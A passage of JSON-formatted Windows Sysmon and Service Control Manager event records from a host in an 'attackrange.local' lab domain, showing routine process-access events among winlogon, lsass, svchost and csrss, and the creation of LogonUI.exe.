C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+207dc|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1040","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+207dc|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":761,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1040\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+7c8b|c:\\windows\\system32\\lsm.dll+2084f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1040","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+7c8b|c:\\windows\\system32\\lsm.dll+2084f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76803,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The nxlog service entered the running state.","param1":"nxlog","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":762,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.110\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.110","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":763,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.110\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.110","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":764,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.110\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.110","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":765,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.110\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+827d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.110","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+827d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":766,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.121\r\nProcessGuid: {90617006-3FD4-5F2D-0000-001076B40000}\r\nProcessId: 1092\r\nImage: C:\\Windows\\System32\\LogonUI.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Logon User Interface Host\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: logonui.exe\r\nCommandLine: \"LogonUI.exe\" /flags:0x2 /state0:0xa3b9e055 /state1:0x41c64e6d\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 1\r\nIntegrityLevel: System\r\nHashes: MD5=B38DFCF985D8AE5B1A17C264981E61C7,SHA256=AA62D29803D52EC06CD27ED3124E034048F09606EB7342181913C9817C7B44C5,IMPHASH=A6F3A84D171E55B51A7343E05C8DFAC3\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nParentProcessId: 800\r\nParentImage: C:\\Windows\\System32\\winlogon.exe\r\nParentCommandLine: winlogon.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.121","ProcessGuid":"{90617006-3FD4-5F2D-0000-001076B40000}","Image":"C:\\Windows\\System32\\LogonUI.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Logon User Interface Host","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"logonui.exe","CommandLine":"\"LogonUI.exe\" /flags:0x2 /state0:0xa3b9e055 /state1:0x41c64e6d","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"1","IntegrityLevel":"System","Hashes":"MD5=B38DFCF985D8AE5B1A17C264981E61C7,SHA256=AA62D29803D52EC06CD27ED3124E034048F09606EB7342181913C9817C7B44C5,IMPHASH=A6F3A84D171E55B51A7343E05C8DFAC3","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-0010244B0000}","ParentProcessId":"800","ParentImage":"C:\\Windows\\System32\\winlogon.exe","ParentCommandLine":"winlogon.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":767,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.110\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nSourceProcessId: 800\r\nSourceThreadId: 804\r\nSourceImage: C:\\Windows\\system32\\winlogon.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\winlogon.exe+193b7|C:\\Windows\\system32\\winlogon.exe+22617|C:\\Windows\\system32\\winlogon.exe+2b287|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.110","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","SourceProcessId":"800","SourceThreadId":"804","SourceImage":"C:\\Windows\\system32\\winlogon.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\winlogon.exe+193b7|C:\\Windows\\system32\\winlogon.exe+22617|C:\\Windows\\system32\\winlogon.exe+2b287|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":768,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.110\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-001043470000}\r\nSourceProcessId: 724\r\nSourceThreadId: 740\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.110","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-001043470000}","SourceProcessId":"724","SourceThreadId":"740","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} 